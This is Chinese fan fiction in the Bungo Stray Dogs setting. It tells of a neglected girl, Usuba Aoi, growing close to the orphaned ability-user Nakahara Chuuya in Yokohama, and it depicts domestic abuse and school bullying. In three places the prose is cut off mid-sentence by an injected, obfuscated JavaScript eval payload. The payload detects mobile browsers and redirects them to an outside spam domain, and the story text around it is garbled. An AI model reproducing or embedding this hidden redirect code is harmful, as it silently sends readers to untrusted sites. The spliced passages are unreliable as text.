《橘子和葵是太阳》 1. 第一章 薄叶葵出生在一个普通的秋天,她的性格也和静谧的秋日一样安静。 妈妈常常看着她叹气,最后说一句,“小葵,平时也多出去走走吧。” 但薄叶葵无法开怀,因为她从懂事起就一直在沉默地关注着这个家。 自己也不是没有尝试过开怀大笑的。 爸爸独自一人工作养家,日常稍有不顺就会大声地斥责妈妈和她,每当听到开门声时,小葵就知道自己又要静悄悄地低下头了。 毕竟就算是向日葵,在夜晚也是无法挺胸抬头的呀。 她同样无法向妈妈要求更多,毕竟她看过妈妈无奈的眼泪,以及小声叹息着“你爸爸他又会骂我”的话语。 所以这一切都已经很好,毕竟她生活在横滨,即使只有一个平凡到甚至稍稍窘迫的小家,一个过于怯懦内耗妈妈和性格懦弱却窝里横的爸爸,但没有沦落在大街上流浪,也真的算是已经很好了。 薄叶葵没什么知心好友,日常生活在小学与家之间两点一线,但在今天,她回家的路上稍微出了一点点意外。 她本来打算抄近道走进一条狭窄的巷子,以避开学校里眼神看她不对劲的几个孩子,却意外在拐角处听见了不一样的声音—— 似乎是拳脚打在人身上的沉闷声响,听起来起码有好几个人正在里面斗殴。 其间时不时传来躯体撞击与闷哼声,最后以几声着意压抑后的惨叫为结束。 薄叶葵腿软地听了几秒,最后面色苍白地转身就跑。 没跑几步,小巷深处就传来一个清亮中带着虚弱的少年音色,“喂,那边的是什么人!” “不主动滚出来的话就等着被重力碾碎吧!” 拽住书包带的薄叶葵有一瞬间的茫然,“重力”……从对方的话来看,他是个异能者? 异能者是横滨的特色,为这座城市带来了繁荣与死亡。 无论如何,像她这样懦弱的普通人是绝对不能招惹、更不能反抗他们的。 深呼吸几下,薄叶葵捏紧衣角慢慢挪过去。 拐角的地方一寸一寸地探出一个小姑娘,也缓慢地和面色不耐烦的男孩打了个照面。 “啧,请你出来要磨磨唧唧那么久是不是想……哈?” 穿着一身不合身衣服的小少年错愕地瞪大眼睛,一张端庄甜美的娃娃脸显得他很可爱,更别说因为刚才的激战,他的两颊仍残留有薄红痕迹,甚至还沾有几道灰尘。 ——看上去就像是一只刚刚打了胜仗、成功捍卫自己领地的小橘猫。 就在薄叶葵直愣愣地盯着眼前的小橘猫时,中原中也也在毫不客气地打量她。 软而细的半长黑发、浅灰色的眼睛,肤色薄白,身姿纤细,身上的衣服有些陈旧,却是干净整洁的。 她的五官圆润而清淡,略浅的眼睛带着一点迷茫和恐惧望过来时,就像是一只脱离鹿群的幼鹿。 ……被喊一声就乖乖出来什么的,分明是傻小狗也说不定。 中原中也一看就知道这个孩子和他不一样,她明显拥有父母的关怀照料,在横滨这处动荡之地有着自己的归宿与庇护所,所以遇到这种突发状况时连逃跑都显得不那么利索。 甚至在这种时候还敢呆呆地盯着他看。 中原中也又有点暴躁地“啧”一声,尽量用自己的小身板挡住身后几个被自己打得倒地不起、鼻青脸肿的人。 被打倒在地的那些人也不过是半大孩子而已,但在横滨,为了生存下去不得不伤害他人这种事总是屡见不鲜的。 “你还不走!”小橘子冲薄叶葵露出色厉内荏的表情。 “我、我只是路过……我想回家。” 舌头不利落地撞上唇齿好几次,短发女孩哆嗦着吐出颠三倒四的话,“回家、妈妈、我我……” 身后的几个人有醒过来的趋势,中原中也悄悄动用异能力完成补刀,脚下的地面龟裂一片,他这才不自然地摸摸鼻头,“那你过去好了。” 薄叶葵努力压下嘴唇的颤抖,躲躲闪闪地挪动过去,小心地侧身从他身边横着走过,书包被她紧紧压在墙壁上蹭过,那种恨不得钻进地里的姿态简直让中原中也看笑了。 他一把拎住薄叶葵背上的书包提手把她正过去,“你这么害怕做什么?走。” 他放下她后轻轻推了一下,让薄叶葵有了点继续往前走的力气。 腿脚机械地原地踏步两下才恢复正常功能,小腿肚上传来酸软,她一脚深一脚浅地走着。 而中原中也则像个凶巴巴的背后灵一样跟着她,直到两人都能看见巷子的尽头,它通向一条宽敞的马路,下午的太阳光散落,盯着看一眼外面再收回视线,就会觉得巷子中生出暗调的青绿色。 薄叶葵的眼睛有一点酸涩,她走到阴影与阳光临界一线,微微低头避开那炽热的太阳。 身后的男孩也停下来,似乎并没有跟着她走进阳光下的意图。 他们就一起安静地在巷子口站了几十秒,打破沉默的是身后传来的细微“咕噜噜”声响。 ……好像是有个人肚子饿了。 女孩转身,正对上男孩有些慌乱的神色,他脸上还带着一层薄红,钴蓝色的眼睛气呼呼地瞪过来。 她又等了几秒,却没听见他威胁的话语。 薄叶葵这才觉得有一些茫然。 他刚刚好像是打了一场有些激烈的架,还把自己送到了巷子外边。 小橘猫成功守护了领地,小橘猫很勇敢。 薄叶葵恍然大悟。 已经再次满脸通红的中原中也又羞恼又窘迫地看过来,却担心眼前这只傻丫头听不懂威胁。 就在他酝酿着如何开口时,一袋面包先出现在他面前。 “这个给你。”小狗满意地点点头,自觉不能让勇敢的小猫饿到。 但眼睛瞪得圆溜溜的橘猫问:“……这是什么?” 小橘猫不认识面包? 这下薄叶葵也瞪大眼睛——她没想到居然会有人不认识面包,甚至是商店里出现的最便宜的一种。 “这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467457|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是面包,可以吃的。”她解释,又担心他不相信自己,赶紧撕开包装袋子。 糖和奶油的香气在这一片小小的角落蔓延。 其实这个面包不过是便利店里最普通的一个,甚至是因为烤得火候稍过,被老板认定为次品才会贱卖。 薄叶葵偶尔才能从父亲那里得到微薄的零花钱,却也攒了几次才买下这个残次品面包。 劣质的奶油和糖精掺杂,在嘴里散发出的味道有点甜过了头,甚至弥漫出细微苦意。 她把掰下来的很小一块面包咽下去,“你看,没有毒的。” 中原中也犹豫了下,轻轻撇一眼她的眼睛,“……你吃饭了吗?” “这个啊。”傻小鹿耿直地说:“没有呀,但妈妈应该做好了菜等着我。” 被投喂面包的小橘猫有点呆地“哦”了下,看上去好像有点失落。 “你是不想一个人吃面包吗?” 虽然对方很可能是个危险的异能者,但性格内向沉默而人缘不佳的薄叶葵还是在努力找话题。 她不能把他带回家里,于是就打算这样直愣愣地盯着他吃完面包。 他看上去确实像饿坏了,三口两口就把巴掌大的小面包吃完,末了不太好意思地抹抹嘴巴,低声向她道谢:“我以后会还你的。” “好呀。”薄叶葵点点头,她发尾毛躁的头发随着动作轻甩,直到冲破光与暗的界限,在脑后坠上几缕摇动的金丝。 中原中也笑了,好像这一刻的快乐是纯粹的,他单纯因为太阳照射到两人而开怀,也许生命都是因为有太阳才得到救赎的吧。 他想起自己刚刚醒过来时,茫然地穿过大街小巷,随手捡起角落里的纸箱遮蔽身体,没想到箱子下面还有另一个小生命——一只毛色驳杂,不灰不黑的小狗呲牙咧嘴地瞪着他,像是在责怪为什么掀开自己的家。 但它也很快就信任起自己,就在他把纸箱放回去之后,小狗就凑上来靠着他取暖,不一会儿就摇起尾巴。 他们的友谊来得太快太纯粹,又结束得太短暂,短暂到中原中也不知道该摆出什么表情面对早上醒来时同伴已经冰冷发硬的尸体。 昨晚它就在呜呜地叫着、蹭着自己,可他不知道其他小狗是什么样的。 现在想来,也许是它吃了什么不好的东西,才让它永远停留在了生命的第二个月。 回忆结束,刚刚咽下去的那块小面包能提供的体力说不定还赶不上他提着这个小女孩穿过巷子的消耗,但她是记忆里第一个跟自己分享食物的人。 小黑则是第一个与自己分享温暖的伙伴,虽然他是后来才知道,自己应该给这位伙伴取一个名字的。 也不知道它会不会喜欢。 中原中也站在阴影里推了薄叶葵一把,薄叶葵彻底、完全地回到阳光下。 而做出这一切的小橘猫理理自己陈旧的衣服,钴蓝色的眼睛注视着她,像是在努力记住这个阳光下的人。 片刻,他点点头,主动转身向他们来时的方向离去。 2. 第二章 薄叶葵一路跑回了家,门后的妈妈没有做好饭。 她和爸爸正坐在桌边,爸爸将酒杯里的酒一饮而尽。 “哦,你回来了。”他醉眼朦胧地咽下最后一口酒,又颤颤巍巍地点燃烟盒里的最后一支烟。 烟草很劣质,燃烧时小小的出租屋内三个人都呛得咳嗽起来。 就着烟雾缭绕,爸爸絮絮叨叨地诉说近日的不幸:公司受到异能者争斗的波及,这个月业绩又创新低,下个月裁员,估计最先裁掉的就是他这样没本事的人。 上上个月离开的另一个社员,尽管他在离开前痛哭着表示自己还有家里老小,但依旧免不了搬着自己工位上零碎的几样东西走出去的命运。 “听酒井说被开的小泽下岗后四处碰壁,应聘过装卸工、餐馆保洁……甚至是想要偷渡出国碰碰运气。” “哈,谁不知道现在码头上都是那群mafia的走狗。”薄叶先生用力将烟蒂碾碎在小桌子上,它又多出一个黑色的小洞。 “这些天都没再见过他了,也许是被沉进海里喂鱼了吧!”他最终“砰”一声将拳头砸在桌面上,上面数个黑洞里同时喷出细细的烟灰,桌子发出惨烈的“咯吱”声,像是一场小小的火山喷发,薄叶葵被妈妈一把抱进怀里,捂住耳朵靠在墙角不敢出声。 爸爸总是这样,他们没什么共同语言,但小葵觉得他和妈妈也没什么共同语言。 千万不能让他知道自己免费把面包送给了一个好像在流浪的小异能者。 到了夜晚,她躺在妈妈身侧,身下是一层单薄的褥子,也许它做出来时里面还是丰盈的棉花,表面也还是光鲜亮丽的色泽,但几年过去,褥子被主人的体重压得硬邦邦,四周高低不平,颜色也因为不断清洗而褪色。 看上去灰扑扑的,像薄叶葵本人一样陈旧。 另一侧的父亲发出不算轻的鼾声,出租屋内的小桌时不时“噼啪”响一声,也许它内部早就千疮百孔,有一天爸爸再将烟蒂烙印上去,就会裂开吧? 妈妈则是家里最沉默的人,每天呆坐在出租屋内望着小小的玻璃窗,或者是努力翻弄着廉价的食材,只有爸爸不在家时她会抱住自己说一会话,还大多是叮嘱——“小葵,爸爸下班后千万不要哭闹,好吗?” 这栋民居挤挤挨挨,里面塞满了被隔离成各种小房间的出租屋,出租屋里又居住着不少“努力”生活的人,上下左右没有一刻不在传来嘈杂的声音。 尖叫、怒骂、痛哭,其中笑声是最少的。 所以当她离开家时,反倒生出一股如释重负的轻松。 或者是安静。 当第二次在那条小巷子遇到小橘子时,她没有表现出过多的惊讶,反倒是对方凶巴巴地截住她,“喂,你怎么还走这边啊?” 其实他比爸爸好多了,薄叶葵心想,爸爸不会这么凶巴巴的说话,但问起话来总是很难缠,这个人说话凶,却会跟在她后面送着她穿过巷子。 话也很少,很安静。 “因为这里人少。”薄叶葵如实回答,“……离我家也近。” “旁边就是贫民窟,这里很乱。”中原中也看上去像是要恐吓她,“上次那些人就是在这里打劫的。” 可她更不想面对自己的同学们,薄叶葵心想。 对于贫苦又不擅长表达的人来说,太阳是珍贵的东西,小巷子里幽绿的苔藓才像是自身的真实写照。 熟悉的人伤害自己,比陌生人出来捅刀子更加让她难以接受。 “我是薄叶葵。”她在巷子里找到一块碎裂的砖石坐下,昨晚没有吃饭,今天在学校里也只有一顿少得可怜的午餐,她没有面包可以分享了。 也不再有爸爸偶尔丢过来的两枚硬币,所以以后大概都不会有面包了。 橘发少年别扭地看着她,没有坐下,“中原中也……我的名字。” “嗯。”小葵点点头,“我要在这里坐一会儿。” “我都说了很危险啊!”中原中也有点生气,“像你这样……我一下就能打……” 他看到薄叶葵几乎不怎么聚焦的眼睛,她的视线直愣愣地注视着墙角一株细弱的野草,它生长在阴暗的巷子里,却仍然顽强地伸展去有光的地方。 虽然看上去离太阳还有好远。 “你不开心吗?”他收敛了声音里的攻击性,“……有一个归宿,有在等着你的人,也不开心吗?” “……不知道。”薄叶葵不知道自己是不是应该向他倾诉,他们处境好像相似,但又过着截然不同的人生。 “中也有朋友吗?” “……没有。” 那要不要我来当你的朋友?她在心里想。 但她问不出口,两个人只能一个蹲着一个站着,双双陷入沉默。 这次告辞前,中原中也又一次非常认真地说:“真的不要再从这里走了。” 他应该觉得自己很麻烦,小葵告诉自己,而自己也确实是个麻烦。 她有时会听见爸爸压低声音对母亲抱怨——孩子一点忙也帮不上,甚至还会额外花钱。 妈妈听到这话时头低低的,却并没有说出什么反驳的话。 自己下次还是走另一条路吧…… “喂,薄叶葵!” 在第二天放学路上,她果然被一个比她高了大半个头的小胖子截住,“你怎么像小老鼠一样啊,每天放学了就溜得飞快。” 小葵打算一言不发地绕过他,又被他笑嘻嘻地扯住书包背带一拉—— 瘦小的女孩被扯得倒仰,隔着书包摔在地上,手心与膝盖都擦伤了一大片。 “这么骄傲啊,跟你说话都不回嘴?”同班同学宗介英和居高临下盯着她,眼神看上去下一刻就要踩到她身上。 地上的女孩一言不发,她知道该怎么应付这种情况,不要说任何话,在这种时刻当作自己是根木头就好了。 这些人最喜欢看被欺负的人恼怒又无可奈何的样子,有时候还会把她的求饶和眼泪当做好玩的戏码,所以即使她再难受,也不能在他面前表现出来。 “听说你那个烟鬼老爸马上就要下岗了?”宗介英和是爸爸上司的儿子,最爱把从父母那里打探来的“小道消息”说出来炫耀,“本来樱子和一郎也想在这和你玩一会呢,所以你前两天为什么不来?” “就剩我一个在这里等你,很辛苦啊,知道吗?” 他不笑了,藏在肥肉里的眼睛不满地盯住她,几乎是扯着薄叶葵的头发把她拽起来。 手中的女孩发出一声短促的尖叫,她几乎颤抖着做出了反击,用她薄而软的指甲狠狠地刺入自己的手腕。 从小就没有遇见过这种情形的宗介英和因为手腕上留下的两道红痕发出一声惊呼,紧接着怒不可遏地将薄叶葵重新丢出去。 所有人都应该捧着自己才对!尤其是这些仰仗自己老爸吃饭的穷鬼。 膝盖和手肘撞上柏油路面,本就破旧的书包上又蒙上一层浮灰。 薄叶葵硬撑着站起身来,顾不上自己镶嵌进石子的膝盖和手心,抓住书包提手向小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467458|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷子方向跑去。 书包和制服都不便宜,即使洗得发旧也千万不能受损,更不能丢掉。 如果异能者们真的心肠很坏,会杀掉随便打扰他们的陌生人的话…… 又或者他们像她遇到的中原中也一样,表面凶巴巴但是会保护她。 身后传来小胖子气急败坏的怒吼以及越来越近的脚步声。 “喂你!” 中原中也还在这条巷子里,这里连接着贫民窟和居民区,有不少贫民窟的孩子们会选择在这里聚成小团体打劫。 他本来也不太想要靠近这个地方,但想到某个分享给自己食物,好像是叫“面包”的薄叶葵,他决定每天在她下午放学的时间过来看看。 薄叶葵冲进巷子里,又因为体力不支摔倒在墙边,她最近一天只吃两顿饭,一停下脚步就两眼发黑,心脏好像冲上了额头,正在不停地跳动。 手和脚都出了汗,舌根传来一股恶心感。 四肢的擦伤好像在疼,又好像没有,呼吸在极速扩张。 她要死了吗? …… 意识回笼时她手里似乎虚虚地握着一个人的胳膊,眼神还没彻底聚焦,视网膜就先被灿烂的橘色占据。 小葵,你的名字是向日葵哦,就是在蓝天与阳光下最灿烂的花,最明亮的颜色。 一片钴蓝色紧随其后而来。 橘色与钴蓝色…… 阳光下的向日葵。 中原中也有点严肃的脸清晰地出现在她面前。 “哭什么啊喂。”他正有些别扭地用袖子上干净的地方擦去她满脸的眼泪与灰尘,“那个人已经跑了。” “……是中也君把他赶走了吗?”话音落下,喉咙中止不住的酸胀涌上来,豆大的眼泪又噼里啪啦落在他身上,“对不起……我真的……” 她其实真的很害怕,害怕面对爸爸上司的孩子,害怕从他们口中听到那些毫不费力的轻松和光鲜亮丽的生活。 而她唯一拥有的就是一进出租屋就能看见的、满是烟蒂烫出孔洞的破烂小方桌和一床破破烂烂、不知道用了多久的棉被。 爸爸口中的废物女儿,妈妈望向自己无奈的眼神。 所以她看见宗介英和时逃走了,脑中甚至升起微薄的希望——如果中原中也恰好在这条巷子里,她能不能请求他对付宗介英和? 现在幻想中的一幕真的发生,她又诞生数不尽的愧疚和恐慌。 中也是唯一一个对她散发友善的同龄人,她却利用他来逃避欺负自己的同学。 宗介英和是爸爸上司的孩子,如果他回去告状,爸爸会不会连最后一份收入微薄的工作也失去? “别再哭了啊,是那个人一直在欺负你吗?”中原中也僵硬着拍拍她的肩膀,“……还是身上的伤口太疼了?” 眼前哭的稀里哗啦的女孩是唯一一个分享食物给自己的人,原本他以为她生活在父母的羽翼下,所以才有更多的余力散发善意。 可是现在看来好像不是这样。 自己昨天警告她不要再从这里走,她今天就真的换了一条路。 ……这才撞上了欺负她的人。 看着薄叶葵眼泪止不住,甚至都快要把衣服打湿的模样,他只能开动脑筋,用自己长到现在学到的最委婉的话语安慰她。 “要不,你以后还是从这里走?” “大不了……大不了我每天下午这个时候都来这里好了!” “有我在,那些杂碎不可能欺负得了你!” 3. 第三章 薄叶葵的爸爸还是失业了。 没有了经济来源,公司又一贯拖欠工资,因为挂靠着港口mafia这个庞然大物,普通人连申诉的机会都没有。 也许是宗介英和想不到她认识异能者这种可能,所以没有回家告状,又或许是告状后宗介组长根本想不起手底下还有“薄叶”这号人,总之,小葵没有得到任何惩罚。 在爸爸妈妈心里小葵的位置也很小,她很快就被他们抛之脑后。 爸爸抽烟喝酒的频率又增加了,他们只买得起劣质的烟酒,妈妈也开始走出门去做工,两人都经常在深夜后才回家,这种时候也没有了做饭的心情,只是相互打个照面后就睡下。 等到他们想起家里还有一个孩子时,也只是草草找点便宜便利店里现成的饭团或者是最多帮她加加热而已。 加热这一步,在薄叶葵学会自己打火后也省略去了。 甚至于爸爸还很有些怨言,男人在这种时候总是有那么一些大道理—— “你也不小了,都怪你妈妈以前照顾你照顾得太好,才让你到现在连一顿像样的饭也不会做。” “还有你,在家白吃白喝那么多年,总算是出去找了个活干。” 妈妈听完他对她们两个的指责,脸上没什么表情。 她实在是太累了,这些年都没有出去工作过,要学习的东西一时间积攒太多,让她连话都不想多说。 也许是平日总是应和自己的妻子今日没什么反应,抽完烟后爸爸站起来,一脚踹在摇摇欲坠的破桌子上。 木桌“砰”一声撞上墙角,很快哗啦散开,变做一堆丢在路边都不会有人注意的、满是烟痕的破木条。 这下他们连唯一一件像样的家具也没了。 隔壁传来咚咚敲墙声和邻居极尽粗鲁下流的怒骂。 一层不知道是什么薄板的墙面摇摇晃晃,逼仄的墙角落下灰尘,薄叶葵几乎是强忍着将咳嗽咽下去。 很快四面八方传来的嘈杂声响安静下去,像是出租房内所有人都在屏住声音、竖起耳朵听这出好戏。 隔壁传过来的骂声也就更清楚了。 家里的三个人都知道,边上住着的是一个凶神恶煞的光头男人,胳膊上纹着花花绿绿的模糊图案,右手还少了两根手指。据说是男人以前欠了黑.手党的债务换不上被他们砍掉的。 总之,这是个不好惹的家伙。 爸爸也粗鲁地诅咒了什么,但声音不大,隔壁根本听不见。 他借着粗劣的酒带来的醉意骂骂咧咧好久,最后退回另一个墙角,卷起家里最厚的被褥睡着了。 很快呼噜声就充满了这间狭小的屋子。 隔壁似乎骂了个爽快,小葵听见“咣啷”一声后,骂人者也停歇下去。 妈妈不再像以前那样逗她,反倒是沉默地掀开另一床薄被钻进去。 她将更厚实的一边留给了小葵。 良久,黑暗中继续传来各种各样的声音,只有还没睡着的薄叶葵能听得见。 但父母都在为微薄的收入发愁时,除了经常挨饿之外,薄叶葵却难得获得了自由时光,虽然她依旧非常焦虑——她买不起面包了,中原中也却会在放学时刻准时出现在巷子里看着她回家,太过单纯的好意让她心中有点拧巴的难受。 “你很不开心吗?”橘发少年有些摸不到头脑,下一秒他就想到什么似的绷起脸色,“难道是在学校里也有人欺负你?” “没有。”薄叶葵回答。 其实是有的,那天能遇见中也算她运气好。 她那天跑过来,心里确实抱着如果在这里有不认识的人,就算对方会杀了自己,但宗介英和一定也不会有好下场这种念头。 ……又如果在这里的人是中原中也,说不定她也能请求他教训一下对方。 “……我是觉得对不起中也。”她小声往手心中呵气,天气越来越冷了,身上的单衣不足以抵御低温,但中也看上去好像很暖和的样子。难道小橘子的头发像小太阳那样能够自己发热吗? “你一定很忙,可是还要每天来这里等我。” “这个啊……”意识到女孩语气里的歉疚和一点崇拜,小橘猫带着些不好意思骄傲地挺起胸膛,“因为我还算是强嘛。” 再说了,你是我流浪的旅途中第一个能说得上话的朋友。 薄叶葵听完这句话后,好像自动解锁了他的未尽之言,眼睛一下子变得亮晶晶的。 ……这样不就更像小黑蜷缩在自己怀里蹭这蹭那的模样了吗? 他们每天接触的时间只有这么长,有时候薄叶葵会在巷子里找处不那么破败漏风的墙角,拿出自己的课本分享给中原中也看,他认识的字的数量超出想象得多,被她震惊地夸奖后,就总是会露出那副小小得意中带着羞涩的表情。 中原中也偶尔会讲起自己过去的故事,他从一片废墟中醒来,脑海里空空荡荡,没有任何记忆,只能凭借本能行动。 他见过横滨半夜时疏朗的星空,也曾在雨中寻找一处遮蔽之所,遇到过很多的人,他们展露的怜悯、嫌弃、贪婪都曾有过,还打过数不清的架,所以练就了一身还不错的街头格斗技术。 故事讲完,他看向薄叶葵瞪大眼睛看着他的样子,她的眼神里没有害怕和可怜,反倒是……欣赏和崇拜更多一些? 这时候他只能假装生气地板起脸,告诉她这些并不是什么好玩的事情。 薄叶葵当然不是觉得他的故事好玩,相反,中原中也一路走来一定吃了很多苦,她只是很佩服他。 因为她自己没有走出破旧出租屋的勇气,也没有离开父母生活的能力。 小葵打算再过两年就去打些零工——她现在太小了,没有哪个老板愿意接受一个营养不良的小女孩来做工。 “到时候我们就都可以吃上面包了。”她试图向身边的中原中也描述美好未来,“我要一天买三个!都要不同口味的,而且不能是面包房老板做坏的次品,得是现烤好的,要最好的那种……不对,是六个,我们那时候就不用把面包掰开啦!我要给中也三个完整的。” 中原中也本来倚着墙听她描述“梦想中的生活”,听到最后却微微一愣,所以一开始说的三个面包也要分一半给他啊。 而且她真没出息,这些天他虽然还是在外面流量,但都见过了更多的好吃的好嘛? “你真是……”他有点无奈地摇摇头,“我可是异能者啊,难道以后还不能自己买到三个、不,是六个面包吗?” 嗯,那他也要给小葵三个完整的面包。 “没关系嘛,到时候我们就每个人都有六个面包了。”薄叶葵笑眯眯地畅想。 她以为自己和他算得上“相依为命”,直到一个再平凡不过的下午,她在巷子口看见了匆匆赶来、换了一身新衣服的中原中也。 这身衣服比她之前见到的要合身许多,虽然并不出众,但让中原中也看上去更加舒适了很多。 “啊……抱歉,小葵。”他看着她直愣愣盯着他新衣服看的表情,“我来晚了。” 接着他很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果他加入了“羊”,从此之后,他们一定能在横滨分得更大的底盘,拿到更多的物资。 “如果你加入了我们,一定能比现在过得更好。”白濑很认真地劝说他。 中原中也同样在打量这个和自己岁数差不多的孩子,他看上去比自己更加成熟和精明一些,为人有点计较,但没有坏心思。 “过得更好……有钱拿吗?” 白濑:“哈?” 身为一个拥有操纵重力这种厉害异能力的异能者,他在操心什么? 有没有钱? 好办啊,加入他们,和羊其他的成员一起去抢点不就好了。 如果让他知道中原中也问有没有钱的原因是,他想去面包店里买三个刚出炉的不同口味的三个面包的话。 白濑的白眼能翻到天上。 除了那句吐槽,他的眼神没有一刻落在薄叶葵身上,更没有向她自我介绍的想法。 被忽视……她已经习惯了。 现在就连中也也要有自己的生活了。 她不想说出什么扫兴的话,因为人总不能阻止朋友奔向更好的未来。 薄叶葵视线模糊地看向他身后、巷子里那处拐角的地方。 果然,两个月前努力向阳光下生长的那颗小野草,如今已经枯萎了。 4. 第四章 中原中也加入了“羊”,甚至在短短的时间内,他就被称作当之无愧的“羊之王”。 就这么过了几年,连带着薄叶葵也开始用这个名字逗他。 “……不要听他们乱喊。” 听到这话的小少年无奈地纠正她,接着很认真地说:“我并不是组织的首领,更不会命令他们去做什么事……我们应该是因为共同的、想要活下去的愿望,或者说是为了过得更好才会聚集在一起。” “我是听那个人这么喊你我才说的嘛。”薄叶葵轻轻扯动嘴角,露出一个不那么真心实意的微笑。 “那是白濑。”中原中也叹了口气,眼睛注视她时那钴蓝色的虹膜就像夜幕刚刚降临时的天空,“我知道你不怎么喜欢他……但白濑没什么坏心思的,只是说起话来不客气了一点。” 我是不喜欢他看着我时眼神里带着的微妙厌恶和嫉妒,薄叶葵心想。 尽管在加入羊后中也并没有违背自己说过的话,在上学的日子里每天还是会出现在巷子门口,但他们相处的时间大大减少。 每次他都会带着她急匆匆地穿过巷子,然后露出松口气的神色。 ……大概觉得她很麻烦吧。 加入“羊”也让他的日子过得宽裕了不少,没过去多少时间就能带着面包来见她了——当然是三个不同口味的。 她接过来时白濑正不满地抱臂站在不远处,见她真的接过面包就走过来,倒也还是没有理会她,只是直接跟中也说:“你专门从组织里拿钱就是为了这个?” 薄叶葵没理会他们两个的低声争辩——被羞辱被无视这种事在她的生活里并不罕见,但这三种面包却是直接存在于明亮的橱窗里、与她毫不相干、平时可望不可及的东西。 她想要的其实有很多。 每天忍饥挨饿已经让她不想去反驳白濑说的话,所以她只会当着他的面把面包咽下去。 白濑显然因为她这副态度生气了。 有趣的是,他总觉得自己与薄叶葵是两个世界的人,此时见到她狼吞虎咽的样子,语气里好像还有点微妙的幸灾乐祸。 就算是有父母在的日子,过得也不一定开心嘛。 薄叶葵并不会跟他争辩什么。 她确实过得不怎么如意,而且如果不是白濑发现了中也,中也应该还在街头流浪。 他和羊确实为中也带来了不得的归属感。 而她和白濑的关系并不只是“微妙”可以解释清楚的,有时中也太忙,甚至会拜托他来这里看看小葵有没有安全到家,他虽然臭着脸,但也还是答应了。 白濑是孤儿,可是薄叶葵在他面前又是个比不上他的人。 他不会给好脸色,却又不会真正伤害她。 “我收到国中的录取通知书了。”她咽下面包,向中也宣布这个还算是好的消息。 中原中也显然松了口气,嘀咕着“还好你会继续读书……” 下一秒他又及时改口,顶着白濑阴沉下来的脸色说:“你好好上学,缺什么东西就告诉我。” 薄叶葵:“中也,你好像我们班上同学的爸爸哦。” “什、什么啊?”小橘子因为这个描述稍稍恼怒了下,“我这是希望你好好学习才……” 这话听起来不就更像了吗!? 之所以用“班上同学”这个描述,当然是因为小葵的爸爸不会对她说这样的话。 他甚至巴不得女儿早点辍学去做工,小学能读到毕业就已经是他最大的忍耐心了。 还是一向沉默的妈妈突然爆发,和他大吵一架。 最终用“录取小葵的中学有奖学金,女儿读书的费用不用他来支付,甚至能反过来得到一笔钱”这种理由,才让爸爸松口。 薄叶葵觉得很荒谬,她见过同班同学与家人之间的亲和友善,也见过失去父母的孩子们是如何竖起尖刺来保护自己。 只有她是一块角落里沾满烟痕的烂木板,初看也是能用的材料,拿起来却发现内里早就腐朽透了。 所以她必须继续读下去,不可以重复妈妈的人生,更要将妈妈从她的人生中解救出来。 “鬼灭学园?”中原中也念叨着薄叶葵被录取的中学名称,“不在横滨本地,好像招收人数也不那么多……” 他看上去会是需要好好调查一番才能安心送孩子上学的家长。 尤其是开学前一天,中原中也带着大包小包在巷子前等她的样子。 薄叶葵:“……” 中原中也:“你干嘛!这是给你的新衣服、一些女孩子喜欢的点心,还、还有一点钱……” “其实中也好像没必要做到这种程度。”薄叶葵努力眨眨眼睛,“因为我们……我当时好像只是分享给中也一块面包。” 她其实想说两个人的关系似乎也没有那么好。 偶尔听跟在中也身后的小羊们说起他们的经历,那是一个惊心动魄的世界,他们没有亲人,身边的人就是手足,并肩作战,将新任交付。 所以小橘子的生活像火一样,遇见她只不过是一场普通的意外。 “可是我们是朋友啊。”本来还因为她没有收下东西有一点恼怒的中原中也诧异一瞬,又很自然地将手里杂七杂八的东西整理好,“当初小葵只有那一个面包都要给我,现在拿出这些东西对我来说也不算什么啦。” 再说他没有读过书上过学,小葵借给他的书里有她做的笔记,整齐又简洁,看上去就很厉害。 “小葵以后肯定能考上大学!”中也突然一脸严肃地告诉她,接着努力从脑海里挤出些鼓励人的话,“呃……等到大学毕业小葵就是我认识的学历最高、最厉害的人了!” 正强行忍住眼泪的薄叶葵:“……” 她快速向前走了几步,将这只正在发表他认为是大道理的小橘猫甩在身后,否则就要被他看到自己夺眶而出的眼泪了。 如果不是还有事,中原中也很可能会一路跟着她去学校门口,然后在宿舍门口嘱咐她“一定要多吃饭努力学习但也不要忘了注意身体”云云。 “假期到了我会在这里接你的。”他站在站台上向她比划口型。 中原中也看见了薄叶葵微红的眼角,还有些懊恼。 羊里也有孩子会哭,他每次遇到都会在内心手忙脚乱不知道怎么办才好,只是表面上显得很镇定罢了。 但小葵完全没有要他哄的意思,即使是他也只能在她眼角捕捉到一点点伤心的痕迹。 白濑总是说葵很弱小、很麻烦。 在他看来完全不是这样的,他们坐在一起时,葵会向他描述巷子里的野草是深绿色,天上的太阳是金红色,生活总是很倒霉,可她沮丧过后就会开始描述自己是怎么克服困难的,还有他偶尔从墙上跳下来时像一只小橘猫…… 这个比喻他有点不喜欢,中原中也绷起脸。 